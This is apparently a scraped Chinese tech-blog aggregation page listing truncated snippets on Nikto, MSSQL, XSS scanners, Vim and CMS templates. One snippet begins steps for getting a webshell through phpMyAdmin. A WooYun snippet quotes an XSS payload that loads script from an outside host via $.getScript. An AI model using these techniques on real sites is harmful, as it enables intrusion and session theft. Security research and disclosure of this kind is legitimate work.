Nikto是一款开放源代码的、功能强大的WEB扫描评估软件，能对web服务器多种安全项目进行测试的扫描软件，能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题，它可以扫描指定...
MSSQLSERVER
case 嵌套查询与连接查询你需要懂得_MsSql
1、Case 子查询连接查询复制代码 代码如下:select * from score create database demo use demo create table ( int identit...
MSSQLSERVER
SQL Server误区30日谈 第3天 即时文件初始化特性可以在SQL Server中开启和关闭_MsSql
本系列文章是我在sqlskill.com的PAUL的博客看到的，很多误区都比较具有典型性和代表性，原文来自T-SQL Tuesday #11: Misconceptions about.... EVE...
教你phpMyAdmin 后台拿webshell
1.如何拿到登陆密码，自己想办法。 2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径. 3.选择一个Database....
神兵利刃
快速、直接的XSS漏洞检测爬虫 – XSScrapy
XSScrapy是一个快速、直接的XSS漏洞检测爬虫，你只需要一个URL，它便可以帮助你发现XSS跨站脚本漏洞。 XSScrapy的XSS漏洞攻击测试向量将会覆盖 Http...
WooYun-Zone
在贴吧被csrf了
点进来有..”,a:$.getScript(‘//xss.retaker.me/1.js’),a:” 题目都是这样的 本来以为是某个人测试的呢 ...
让我们把众测变的越来越好，一台笔记本游遍天
有好多小伙伴都跟我说希望可以降低乌云众测的门槛，比如减少门票wb或干脆免票。其实乌云也正有此意，曾经的门票只是为了体现出众测参与者的能力与对项目的态度（不是玩票看热闹），保证测试者都可以最佳的状态进行...
Seay信息安全博客
XSS盲打遇到会话过期的另一种小思路 |
显示不全请点击全屏阅读 缺陷编号： WooYun-2012-11929 漏洞标题： 当盲打输入框遇到XSS，当XSS遇到会话过期，当会话过期遇到错误的COOKIES写法。 相关厂商： 杭州纬聚网络有限...
Vim 基础
一、模式转换 1、模式 Normal 普通模式 2. Insert 插入模式 3. Command 命令模式 4. Visual 可视模式 5. Replace 6. Change 7. Substi...
帝国cms模板自定义JS 动态调用tags显示
内容摘要 帝国CMS模板自定义JS 动态调用tags显示 文章正文 方法主要是JS动态调用TAG标签，方便静态页面不更新时显示TAG列表！此方法为JS方法，所以只负责展示和功能，搜索引擎不爬行收录！ ...
